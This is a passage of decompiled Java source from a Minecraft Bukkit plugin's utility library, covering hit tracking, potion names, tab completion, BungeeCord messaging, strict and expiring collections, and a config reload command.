/me/ego/ezbd/lib/fo/HitTracking.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import java.util.UUID; 4 | import java.util.concurrent.TimeUnit; 5 | import me.ego.ezbd.lib.fo.EntityUtil.HitListener; 6 | import me.ego.ezbd.lib.fo.collection.expiringmap.ExpiringMap; 7 | import org.bukkit.entity.Projectile; 8 | import org.bukkit.event.EventHandler; 9 | import org.bukkit.event.EventPriority; 10 | import org.bukkit.event.Listener; 11 | import org.bukkit.event.entity.ProjectileHitEvent; 12 | 13 | class HitTracking implements Listener { 14 | private static final ExpiringMap flyingProjectiles; 15 | 16 | HitTracking() { 17 | } 18 | 19 | @EventHandler( 20 | priority = EventPriority.HIGHEST 21 | ) 22 | public void onHit(ProjectileHitEvent event) { 23 | HitListener hitListener = (HitListener)flyingProjectiles.remove(event.getEntity().getUniqueId()); 24 | if (hitListener != null) { 25 | hitListener.onHit(event); 26 | } 27 | 28 | } 29 | 30 | static void addFlyingProjectile(Projectile projectile, HitListener hitTask) { 31 | flyingProjectiles.put(projectile.getUniqueId(), hitTask); 32 | } 33 | 34 | static { 35 | flyingProjectiles = ExpiringMap.builder().expiration(30L, TimeUnit.SECONDS).build(); 36 | } 37 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/PotionWrapper.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import org.apache.commons.lang.WordUtils; 4 | 5 | enum PotionWrapper { 6 | SLOW("SLOW", "Slowness"), 7 | STRENGTH("INCREASE_DAMAGE"), 8 | JUMP_BOOST("JUMP"), 9 | INSTANT_HEAL("INSTANT_HEALTH"), 10 | REGEN("REGENERATION"); 11 | 12 | private final String bukkitName; 13 | private final String minecraftName; 14 | 15 | private PotionWrapper(String bukkitName) { 16 | this(bukkitName, (String)null); 17 | } 18 | 19 | protected static String getLocalizedName(String name) { 20 | String localizedName = name; 21 | PotionWrapper[] var2 = values(); 22 | int var3 = var2.length; 23 | 24 | for(int var4 = 0; var4 < var3; ++var4) { 25 | PotionWrapper e = var2[var4]; 26 | if (name.toUpperCase().replace(" ", "_").equals(e.bukkitName)) { 27 | localizedName = e.getMinecraftName(); 28 | break; 29 | } 30 | } 31 | 32 | return WordUtils.capitalizeFully(localizedName.replace("_", " ")); 33 | } 34 | 35 | protected static String getBukkitName(String name) { 36 | name = name.toUpperCase().replace(" ", "_"); 37 | PotionWrapper[] var1 = values(); 38 | int var2 = var1.length; 39 | 40 | for(int var3 = 0; var3 < var2; ++var3) { 41 | PotionWrapper e = var1[var3]; 42 | if (e.toString().equalsIgnoreCase(name) || e.minecraftName != null && e.minecraftName.equalsIgnoreCase(name)) { 43 | return e.bukkitName; 44 | } 45 | } 46 | 47 | return name; 48 | } 49 | 50 | public String getMinecraftName() { 51 | return (String)Common.getOrDefault(this.minecraftName, this.bukkitName); 52 | } 53 | 54 | private PotionWrapper(String bukkitName, String minecraftName) { 55 | this.bukkitName = bukkitName; 56 | this.minecraftName = minecraftName; 57 | } 58 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/TabUtil.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collections; 5 | import java.util.Iterator; 6 | import java.util.List; 7 | 8 | public final class TabUtil { 9 | @SafeVarargs 10 | public static List complete(String partialName, T... all) { 11 | List clone = new ArrayList(); 12 | if (all != null) { 13 | Object[] var3 = all; 14 | int var4 = all.length; 15 | 16 | for(int var5 = 0; var5 < var4; ++var5) { 17 | T s = var3[var5]; 18 | if (s != null) { 19 | if (s instanceof Iterable) { 20 | Iterator var12 = ((Iterable)s).iterator(); 21 | 22 | while(var12.hasNext()) { 23 | Object iterable = var12.next(); 24 | clone.add(iterable instanceof Enum ? iterable.toString().toLowerCase() : SerializeUtil.serialize(iterable).toString()); 25 | } 26 | } else if (s instanceof Enum[]) { 27 | Enum[] var11 = (Enum[])((Enum[])((Enum[])s))[0].getClass().getEnumConstants(); 28 | int var13 = var11.length; 29 | 30 | for(int var9 = 0; var9 < var13; ++var9) { 31 | Object iterable = var11[var9]; 32 | clone.add(iterable.toString().toLowerCase()); 33 | } 34 | } else { 35 | boolean lowercase = s instanceof Enum; 36 | String parsed = SerializeUtil.serialize(s).toString(); 37 | if (!"".equals(parsed)) { 38 | clone.add(lowercase ? parsed.toLowerCase() : parsed); 39 | } 40 | } 41 | } 42 | } 43 | } 44 | 45 | return complete(partialName, (Iterable)clone); 46 | } 47 | 48 | public static List complete(String partialName, Iterable all) { 49 | ArrayList tab = new ArrayList(); 50 | Iterator iterator = all.iterator(); 51 | 52 | String val; 53 | while(iterator.hasNext()) { 54 | val = (String)iterator.next(); 55 | tab.add(val); 56 | } 57 | 58 | partialName = partialName.toLowerCase(); 59 | iterator = tab.iterator(); 60 | 61 | while(iterator.hasNext()) { 62 | val = (String)iterator.next(); 63 | if (!val.toLowerCase().startsWith(partialName)) { 64 | iterator.remove(); 65 | } 66 | } 67 | 68 | Collections.sort(tab); 69 | return tab; 70 | } 71 | 72 | private TabUtil() { 73 | } 74 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/TimedCharSequence.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import lombok.NonNull; 4 | import me.ego.ezbd.lib.fo.settings.SimpleSettings; 5 | 6 | final class TimedCharSequence implements CharSequence { 7 | private final CharSequence message; 8 | private final long futureTimestampLimit; 9 | 10 | private TimedCharSequence(@NonNull CharSequence message, long futureTimestampLimit) { 11 | if (message == null) { 12 | throw new NullPointerException("message is marked non-null but is null"); 13 | } else { 14 | this.message = message; 15 | this.futureTimestampLimit = futureTimestampLimit; 16 | } 17 | } 18 | 19 | public char charAt(int index) { 20 | return this.message.charAt(index); 21 | } 22 | 23 | public int length() { 24 | return this.message.length(); 25 | } 26 | 27 | public CharSequence subSequence(int start, int end) { 28 | return new TimedCharSequence(this.message.subSequence(start, end), this.futureTimestampLimit); 29 | } 30 | 31 | public String toString() { 32 | return this.message.toString(); 33 | } 34 | 35 | static TimedCharSequence withSettingsLimit(CharSequence message) { 36 | return new TimedCharSequence(message, System.currentTimeMillis() + (long)SimpleSettings.REGEX_TIMEOUT); 37 | } 38 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/BungeeAction.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee; 2 | 3 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 4 | 5 | public interface BungeeAction { 6 | Class[] getContent(); 7 | 8 | String name(); 9 | 10 | static BungeeAction getByName(String name) { 11 | BungeeAction[] actions = SimplePlugin.getInstance().getBungeeCord().getActions(); 12 | BungeeAction[] var2 = actions; 13 | int var3 = actions.length; 14 | 15 | for(int var4 = 0; var4 < var3; ++var4) { 16 | BungeeAction action = var2[var4]; 17 | if (action.name().equals(name)) { 18 | return action; 19 | } 20 | } 21 | 22 | return null; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/BungeeListener.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee; 2 | 3 | import me.ego.ezbd.lib.fo.bungee.message.IncomingMessage; 4 | import me.ego.ezbd.lib.fo.debug.Debugger; 5 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 6 | import org.bukkit.Bukkit; 7 | import org.bukkit.entity.Player; 8 | import org.bukkit.event.Listener; 9 | import org.bukkit.plugin.messaging.PluginMessageListener; 10 | 11 | public abstract class BungeeListener implements Listener, PluginMessageListener { 12 | protected BungeeListener() { 13 | } 14 | 15 | public final void onPluginMessageReceived(String tag, Player player, byte[] data) { 16 | if (!Bukkit.getName().contains("Cauldron")) { 17 | if (tag.equals(SimplePlugin.getInstance().getBungeeCord().getChannel())) { 18 | IncomingMessage message = new IncomingMessage(data); 19 | Debugger.debug("bungee", new String[]{"Channel " + message.getChannel() + " received " + message.getAction() + " message from " + message.getServerName() + " server."}); 20 | this.onMessageReceived(player, message); 21 | } 22 | 23 | } 24 | } 25 | 26 | public abstract void onMessageReceived(Player var1, IncomingMessage var2); 27 | } 28 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/FoBungeeAction.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee; 2 | 3 | /** @deprecated */ 4 | public enum FoBungeeAction implements BungeeAction { 5 | BUNGEE_COMMAND(new Object[]{String.class}), 6 | TELL_PLAYER(new Object[]{String.class, String.class}), 7 | CHAT_MUTE(new Object[]{String.class}), 8 | CHAT_CLEAR(new Object[]{String.class}), 9 | CHANNEL(new Object[]{String.class, String.class, String.class, Boolean.class, Boolean.class}), 10 | ANNOUNCEMENT(new Object[]{String.class, String.class}), 11 | BROADCAST_JSON_WITH_PERMISSION_AS(new Object[]{String.class, String.class, String.class, Boolean.class}), 12 | SPY(new Object[]{String.class}), 13 | PM_LOOKUP(new Object[]{String.class, String.class, String.class, String.class, Boolean.class, Boolean.class, Boolean.class}), 14 | PM_PLAYER_NOT_FOUND(new Object[]{String.class, String.class}), 15 | PM_PLAYER_FOUND(new Object[]{String.class, String.class, String.class}); 16 | 17 | private final Class[] content; 18 | 19 | private FoBungeeAction(Object... validValues) { 20 | Class[] classes = new Class[validValues.length]; 21 | 22 | for(int i = 0; i < classes.length; ++i) { 23 | Object value = validValues[i]; 24 | classes[i] = value.getClass(); 25 | } 26 | 27 | this.content = classes; 28 | } 29 | 30 | public Class[] getContent() { 31 | return this.content; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/SimpleBungee.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee; 2 | 3 | import java.lang.reflect.Constructor; 4 | import me.ego.ezbd.lib.fo.Common; 5 | import me.ego.ezbd.lib.fo.Valid; 6 | 7 | public final class SimpleBungee { 8 | private final String channel; 9 | private final BungeeListener listener; 10 | private final BungeeAction[] actions; 11 | 12 | public SimpleBungee(String channel, Class listenerClass, Class actionEnum) { 13 | this(channel, toListener(listenerClass), toAction(actionEnum)); 14 | } 15 | 16 | private static BungeeListener toListener(Class listenerClass) { 17 | Valid.checkNotNull(listenerClass); 18 | 19 | try { 20 | Constructor con = listenerClass.getConstructor(); 21 | con.setAccessible(true); 22 | return (BungeeListener)con.newInstance(); 23 | } catch (ReflectiveOperationException var2) { 24 | Common.log(new String[]{"Unable to create new instance of " + listenerClass + ", ensure constructor is public without parameters!"}); 25 | var2.printStackTrace(); 26 | return null; 27 | } 28 | } 29 | 30 | private static BungeeAction[] toAction(Class actionEnum) { 31 | Valid.checkNotNull(actionEnum); 32 | Valid.checkBoolean(actionEnum.isEnum(), "Enum expected, given: " + actionEnum, new Object[0]); 33 | 34 | try { 35 | return (BungeeAction[])((BungeeAction[])actionEnum.getMethod("values").invoke((Object)null)); 36 | } catch (ReflectiveOperationException var2) { 37 | Common.log(new String[]{"Unable to get values() of " + actionEnum + ", ensure it is an enum!"}); 38 | var2.printStackTrace(); 39 | return null; 40 | } 41 | } 42 | 43 | public SimpleBungee(String channel, BungeeListener listener, BungeeAction... actions) { 44 | Valid.checkNotNull(channel, "Channel cannot be null!"); 45 | this.channel = channel; 46 | this.listener = listener; 47 | Valid.checkNotNull(actions, "Actions cannot be null!"); 48 | this.actions = actions; 49 | } 50 | 51 | public String getChannel() { 52 | return this.channel; 53 | } 54 | 55 | public BungeeListener getListener() { 56 | return this.listener; 57 | } 58 | 59 | public BungeeAction[] getActions() { 60 | return this.actions; 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/message/IncomingMessage.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee.message; 2 | 3 | import com.google.common.io.ByteArrayDataInput; 4 | import com.google.common.io.ByteStreams; 5 | import java.io.ByteArrayInputStream; 6 | import java.io.IOException; 7 | import java.util.UUID; 8 | import me.ego.ezbd.lib.fo.ReflectionUtil; 9 | import me.ego.ezbd.lib.fo.collection.SerializedMap; 10 | import me.ego.ezbd.lib.fo.debug.Debugger; 11 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 12 | import org.bukkit.entity.Player; 13 | 14 | public final class IncomingMessage extends Message { 15 | private final byte[] data; 16 | private final ByteArrayDataInput input; 17 | private final ByteArrayInputStream stream; 18 | 19 | public IncomingMessage(byte[] data) { 20 | this.data = data; 21 | this.stream = new ByteArrayInputStream(data); 22 | this.input = ByteStreams.newDataInput(this.stream); 23 | this.setSenderUid(this.input.readUTF()); 24 | this.setServerName(this.input.readUTF()); 25 | this.setAction(this.input.readUTF()); 26 | } 27 | 28 | public String readString() { 29 | this.moveHead(String.class); 30 | return this.input.readUTF(); 31 | } 32 | 33 | public UUID readUUID() { 34 | this.moveHead(UUID.class); 35 | return UUID.fromString(this.input.readUTF()); 36 | } 37 | 38 | public SerializedMap readMap() { 39 | this.moveHead(String.class); 40 | return SerializedMap.fromJson(this.input.readUTF()); 41 | } 42 | 43 | public > T readEnum(Class typeOf) { 44 | this.moveHead(typeOf); 45 | return ReflectionUtil.lookupEnum(typeOf, this.input.readUTF()); 46 | } 47 | 48 | public boolean readBoolean() { 49 | this.moveHead(Boolean.class); 50 | return this.input.readBoolean(); 51 | } 52 | 53 | public byte readByte() { 54 | this.moveHead(Byte.class); 55 | return this.input.readByte(); 56 | } 57 | 58 | public byte[] readBytes() { 59 | this.moveHead(byte[].class); 60 | byte[] array = new byte[this.stream.available()]; 61 | 62 | try { 63 | this.stream.read(array); 64 | } catch (IOException var3) { 65 | var3.printStackTrace(); 66 | } 67 | 68 | return array; 69 | } 70 | 71 | public double readDouble() { 72 | this.moveHead(Double.class); 73 | return this.input.readDouble(); 74 | } 75 | 76 | public float readFloat() { 77 | this.moveHead(Float.class); 78 | return this.input.readFloat(); 79 | } 80 | 81 | public int writeInt() { 82 | this.moveHead(Integer.class); 83 | return this.input.readInt(); 84 | } 85 | 86 | public long readLong() { 87 | this.moveHead(Long.class); 88 | return this.input.readLong(); 89 | } 90 | 91 | public short readShort() { 92 | this.moveHead(Short.class); 93 | return this.input.readShort(); 94 | } 95 | 96 | public void forward(Player player) { 97 | player.sendPluginMessage(SimplePlugin.getInstance(), this.getChannel(), this.data); 98 | Debugger.debug("bungee", new String[]{"Forwarding data on " + this.getChannel() + " channel from " + this.getAction() + " as " + player.getName() + " player to BungeeCord."}); 99 | } 100 | 101 | public byte[] getData() { 102 | return this.data; 103 | } 104 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/bungee/message/Message.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.bungee.message; 2 | 3 | import java.util.UUID; 4 | import javax.annotation.Nullable; 5 | import me.ego.ezbd.lib.fo.Common; 6 | import me.ego.ezbd.lib.fo.Valid; 7 | import me.ego.ezbd.lib.fo.bungee.BungeeAction; 8 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 9 | 10 | abstract class Message { 11 | @Nullable 12 | private UUID senderUid; 13 | private String serverName; 14 | private BungeeAction action; 15 | private int actionHead = 0; 16 | 17 | protected final void setSenderUid(String raw) { 18 | if (raw != null) { 19 | try { 20 | this.senderUid = UUID.fromString(raw); 21 | } catch (IllegalArgumentException var3) { 22 | throw new IllegalArgumentException("Expected UUID, got " + raw + " for packet " + this.action + " from server " + this.serverName); 23 | } 24 | } 25 | 26 | } 27 | 28 | protected final void setServerName(String serverName) { 29 | Valid.checkBoolean(this.serverName == null, "Server name already set", new Object[0]); 30 | Valid.checkNotNull(serverName, "Server name cannot be null!"); 31 | this.serverName = serverName; 32 | } 33 | 34 | protected final void setAction(String actionName) { 35 | BungeeAction action = BungeeAction.getByName(actionName); 36 | Valid.checkNotNull(action, "Unknown action named: " + actionName + ". Available: " + Common.join(SimplePlugin.getInstance().getBungeeCord().getActions())); 37 | this.setAction(action); 38 | } 39 | 40 | protected final void setAction(BungeeAction action) { 41 | Valid.checkBoolean(this.action == null, "Action already set", new Object[0]); 42 | this.action = action; 43 | } 44 | 45 | public T getAction() { 46 | return this.action; 47 | } 48 | 49 | protected final void moveHead(Class typeOf) { 50 | Valid.checkNotNull(this.serverName, "Server name not set!"); 51 | Valid.checkNotNull(this.action, "Action not set!"); 52 | Class[] content = this.action.getContent(); 53 | Valid.checkBoolean(this.actionHead < content.length, "Head out of bounds! Max data size for " + this.action.name() + " is " + content.length, new Object[0]); 54 | ++this.actionHead; 55 | } 56 | 57 | public final String getChannel() { 58 | return SimplePlugin.getInstance().getBungeeCord().getChannel(); 59 | } 60 | 61 | protected Message() { 62 | } 63 | 64 | @Nullable 65 | public UUID getSenderUid() { 66 | return this.senderUid; 67 | } 68 | 69 | public String getServerName() { 70 | return this.serverName; 71 | } 72 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/StrictCollection.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection; 2 | 3 | public abstract class StrictCollection { 4 | private final String cannotRemoveMessage; 5 | private final String cannotAddMessage; 6 | 7 | public abstract Object serialize(); 8 | 9 | protected String getCannotRemoveMessage() { 10 | return this.cannotRemoveMessage; 11 | } 12 | 13 | protected String getCannotAddMessage() { 14 | return this.cannotAddMessage; 15 | } 16 | 17 | public StrictCollection(String cannotRemoveMessage, String cannotAddMessage) { 18 | this.cannotRemoveMessage = cannotRemoveMessage; 19 | this.cannotAddMessage = cannotAddMessage; 20 | } 21 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/StrictSet.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection; 2 | 3 | import java.util.Arrays; 4 | import java.util.Collection; 5 | import java.util.HashSet; 6 | import java.util.Iterator; 7 | import java.util.Set; 8 | import me.ego.ezbd.lib.fo.SerializeUtil; 9 | import me.ego.ezbd.lib.fo.Valid; 10 | import me.ego.ezbd.lib.fo.exception.FoException; 11 | import org.apache.commons.lang.StringUtils; 12 | 13 | public final class StrictSet extends StrictCollection implements Iterable { 14 | private final Set set; 15 | 16 | @SafeVarargs 17 | public StrictSet(E... elements) { 18 | this(); 19 | this.addAll(Arrays.asList(elements)); 20 | } 21 | 22 | public StrictSet(Collection oldList) { 23 | this(); 24 | this.addAll(oldList); 25 | } 26 | 27 | public StrictSet() { 28 | super("Cannot remove '%s' as it is not in the set!", "Value '%s' is already in the set!"); 29 | this.set = new HashSet(); 30 | } 31 | 32 | public void remove(E value) { 33 | Valid.checkNotNull(value, "Cannot remove null values"); 34 | boolean removed = this.set.remove(value); 35 | Valid.checkBoolean(removed, String.format(this.getCannotRemoveMessage(), value), new Object[0]); 36 | } 37 | 38 | public void removeWeak(E value) { 39 | this.set.remove(value); 40 | } 41 | 42 | public void addAll(Collection collection) { 43 | Iterator var2 = collection.iterator(); 44 | 45 | while(var2.hasNext()) { 46 | E val = var2.next(); 47 | this.add(val); 48 | } 49 | 50 | } 51 | 52 | public void add(E key) { 53 | Valid.checkNotNull(key, "Cannot add null values"); 54 | Valid.checkBoolean(!this.set.contains(key), String.format(this.getCannotAddMessage(), key), new Object[0]); 55 | this.set.add(key); 56 | } 57 | 58 | public void override(E key) { 59 | this.set.add(key); 60 | } 61 | 62 | public E getAt(int index) { 63 | int i = 0; 64 | Iterator it = this.set.iterator(); 65 | 66 | Object e; 67 | do { 68 | if (!it.hasNext()) { 69 | throw new FoException("Index (" + index + ") + out of size (" + this.set.size() + ")"); 70 | } 71 | 72 | e = it.next(); 73 | } while(i++ != index); 74 | 75 | return e; 76 | } 77 | 78 | public boolean contains(E key) { 79 | return this.set.contains(key); 80 | } 81 | 82 | public void clear() { 83 | this.set.clear(); 84 | } 85 | 86 | public boolean isEmpty() { 87 | return this.set.isEmpty(); 88 | } 89 | 90 | public int size() { 91 | return this.set.size(); 92 | } 93 | 94 | public Set getSource() { 95 | return this.set; 96 | } 97 | 98 | public String join(String separator) { 99 | return StringUtils.join(this.set, separator); 100 | } 101 | 102 | public E[] toArray(E[] e) { 103 | return this.set.toArray(e); 104 | } 105 | 106 | public Iterator iterator() { 107 | return this.set.iterator(); 108 | } 109 | 110 | public Object serialize() { 111 | return SerializeUtil.serialize(this.set); 112 | } 113 | 114 | public String toString() { 115 | return "StrictSet{\n" + StringUtils.join(this.set, "\n") + "}"; 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/expiringmap/EntryLoader.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection.expiringmap; 2 | 3 | public interface EntryLoader { 4 | V load(K var1); 5 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/expiringmap/ExpirationPolicy.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection.expiringmap; 2 | 3 | public enum ExpirationPolicy { 4 | ACCESSED, 5 | CREATED; 6 | 7 | private ExpirationPolicy() { 8 | } 9 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/expiringmap/ExpiringEntryLoader.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection.expiringmap; 2 | 3 | public interface ExpiringEntryLoader { 4 | ExpiringValue load(K var1); 5 | } 6 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/expiringmap/ExpiringValue.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection.expiringmap; 2 | 3 | import java.util.concurrent.TimeUnit; 4 | 5 | public final class ExpiringValue { 6 | private static final long UNSET_DURATION = -1L; 7 | private final V value; 8 | private final ExpirationPolicy expirationPolicy; 9 | private final long duration; 10 | private final TimeUnit timeUnit; 11 | 12 | public ExpiringValue(V value) { 13 | this(value, -1L, (TimeUnit)null, (ExpirationPolicy)null); 14 | } 15 | 16 | public ExpiringValue(V value, ExpirationPolicy expirationPolicy) { 17 | this(value, -1L, (TimeUnit)null, expirationPolicy); 18 | } 19 | 20 | public ExpiringValue(V value, long duration, TimeUnit timeUnit) { 21 | this(value, duration, timeUnit, (ExpirationPolicy)null); 22 | if (timeUnit == null) { 23 | throw new NullPointerException(); 24 | } 25 | } 26 | 27 | public ExpiringValue(V value, ExpirationPolicy expirationPolicy, long duration, TimeUnit timeUnit) { 28 | this(value, duration, timeUnit, expirationPolicy); 29 | if (timeUnit == null) { 30 | throw new NullPointerException(); 31 | } 32 | } 33 | 34 | private ExpiringValue(V value, long duration, TimeUnit timeUnit, ExpirationPolicy expirationPolicy) { 35 | this.value = value; 36 | this.expirationPolicy = expirationPolicy; 37 | this.duration = duration; 38 | this.timeUnit = timeUnit; 39 | } 40 | 41 | public V getValue() { 42 | return this.value; 43 | } 44 | 45 | public ExpirationPolicy getExpirationPolicy() { 46 | return this.expirationPolicy; 47 | } 48 | 49 | public long getDuration() { 50 | return this.duration; 51 | } 52 | 53 | public TimeUnit getTimeUnit() { 54 | return this.timeUnit; 55 | } 56 | 57 | public int hashCode() { 58 | return this.value != null ? this.value.hashCode() : 0; 59 | } 60 | 61 | public boolean equals(Object o) { 62 | if (this == o) { 63 | return true; 64 | } else if (o != null && this.getClass() == o.getClass()) { 65 | boolean var10000; 66 | label28: { 67 | ExpiringValue that = (ExpiringValue)o; 68 | if (this.value != null) { 69 | if (!this.value.equals(that.value)) { 70 | break label28; 71 | } 72 | } else if (that.value != null) { 73 | break label28; 74 | } 75 | 76 | if (this.expirationPolicy == that.expirationPolicy && this.duration == that.duration && this.timeUnit == that.timeUnit) { 77 | var10000 = true; 78 | return var10000; 79 | } 80 | } 81 | 82 | var10000 = false; 83 | return var10000; 84 | } else { 85 | return false; 86 | } 87 | } 88 | 89 | public String toString() { 90 | return "ExpiringValue{value=" + this.value + ", expirationPolicy=" + this.expirationPolicy + ", duration=" + this.duration + ", timeUnit=" + this.timeUnit + '}'; 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/collection/expiringmap/NamedThreadFactory.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.collection.expiringmap; 2 | 3 | import java.util.concurrent.ThreadFactory; 4 | import java.util.concurrent.atomic.AtomicInteger; 5 | 6 | public final class NamedThreadFactory implements ThreadFactory { 7 | private final AtomicInteger threadNumber = new AtomicInteger(1); 8 | private final String nameFormat; 9 | 10 | public NamedThreadFactory(String nameFormat) { 11 | this.nameFormat = nameFormat; 12 | } 13 | 14 | public Thread newThread(Runnable r) { 15 | Thread thread = new Thread(r, String.format(this.nameFormat, this.threadNumber.getAndIncrement())); 16 | thread.setDaemon(true); 17 | return thread; 18 | } 19 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/command/ReloadCommand.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.command; 2 | 3 | import java.io.File; 4 | import java.util.ArrayList; 5 | import java.util.Iterator; 6 | import java.util.List; 7 | import me.ego.ezbd.lib.fo.FileUtil; 8 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 9 | import me.ego.ezbd.lib.fo.settings.SimpleLocalization.Commands; 10 | 11 | public final class ReloadCommand extends SimpleSubCommand { 12 | public ReloadCommand() { 13 | super("reload|rl"); 14 | this.setDescription(Commands.RELOAD_DESCRIPTION); 15 | } 16 | 17 | protected void onCommand() { 18 | try { 19 | this.tell(new String[]{Commands.RELOAD_STARTED}); 20 | boolean syntaxParsed = true; 21 | List yamlFiles = new ArrayList(); 22 | this.collectYamlFiles(SimplePlugin.getData(), yamlFiles); 23 | Iterator var3 = yamlFiles.iterator(); 24 | 25 | while(var3.hasNext()) { 26 | File file = (File)var3.next(); 27 | 28 | try { 29 | FileUtil.loadConfigurationStrict(file); 30 | } catch (Throwable var6) { 31 | var6.printStackTrace(); 32 | syntaxParsed = false; 33 | } 34 | } 35 | 36 | if (!syntaxParsed) { 37 | this.tell(new String[]{Commands.RELOAD_FILE_LOAD_ERROR}); 38 | return; 39 | } 40 | 41 | SimplePlugin.getInstance().reload(); 42 | this.tell(new String[]{Commands.RELOAD_SUCCESS}); 43 | } catch (Throwable var7) { 44 | this.tell(new String[]{Commands.RELOAD_FAIL.replace("{error}", var7.getMessage() != null ? var7.getMessage() : "unknown")}); 45 | var7.printStackTrace(); 46 | } 47 | 48 | } 49 | 50 | private List collectYamlFiles(File directory, List list) { 51 | if (directory.exists()) { 52 | File[] var3 = directory.listFiles(); 53 | int var4 = var3.length; 54 | 55 | for(int var5 = 0; var5 < var4; ++var5) { 56 | File file = var3[var5]; 57 | if (file.getName().endsWith("yml")) { 58 | list.add(file); 59 | } 60 | 61 | if (file.isDirectory()) { 62 | this.collectYamlFiles(file, list); 63 | } 64 | } 65 | } 66 | 67 | return list; 68 | } 69 | 70 | protected List tabComplete() { 71 | return NO_COMPLETE; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/command/SimpleSubCommand.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.command; 2 | 3 | import java.util.Arrays; 4 | import me.ego.ezbd.lib.fo.Valid; 5 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 6 | 7 | public abstract class SimpleSubCommand extends SimpleCommand { 8 | private final String[] sublabels; 9 | private String sublabel; 10 | 11 | protected SimpleSubCommand(String sublabel) { 12 | this(getMainCommandGroup0(), sublabel); 13 | } 14 | 15 | private static SimpleCommandGroup getMainCommandGroup0() { 16 | SimpleCommandGroup main = SimplePlugin.getInstance().getMainCommand(); 17 | Valid.checkNotNull(main, SimplePlugin.getNamed() + " does not define a main command group!"); 18 | return main; 19 | } 20 | 21 | protected SimpleSubCommand(SimpleCommandGroup parent, String sublabel) { 22 | super(parent.getLabel()); 23 | this.sublabels = sublabel.split("(\\||\\/)"); 24 | Valid.checkBoolean(this.sublabels.length > 0, "Please set at least 1 sublabel", new Object[0]); 25 | this.sublabel = this.sublabels[0]; 26 | if (this.getRawPermission().equals(getDefaultPermission())) { 27 | SimplePlugin instance = SimplePlugin.getInstance(); 28 | if (instance.getMainCommand() != null && instance.getMainCommand().getLabel().equals(this.getMainLabel())) { 29 | this.setPermission(this.getRawPermission().replace("{label}", "{sublabel}")); 30 | } else { 31 | this.setPermission(this.getRawPermission() + ".{sublabel}"); 32 | } 33 | } 34 | 35 | } 36 | 37 | protected boolean showInHelp() { 38 | return true; 39 | } 40 | 41 | protected String replacePlaceholders(String message) { 42 | return super.replacePlaceholders(message).replace("{sublabel}", this.getSublabel()); 43 | } 44 | 45 | public final boolean equals(Object obj) { 46 | return obj instanceof SimpleSubCommand ? Arrays.equals(((SimpleSubCommand)obj).sublabels, this.sublabels) : false; 47 | } 48 | 49 | public String[] getSublabels() { 50 | return this.sublabels; 51 | } 52 | 53 | protected void setSublabel(String sublabel) { 54 | this.sublabel = sublabel; 55 | } 56 | 57 | protected String getSublabel() { 58 | return this.sublabel; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/command/annotation/Permission.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.command.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target({ElementType.FIELD}) 10 | public @interface Permission { 11 | String value() default ""; 12 | 13 | boolean def() default false; 14 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/command/annotation/PermissionGroup.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo.command.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | 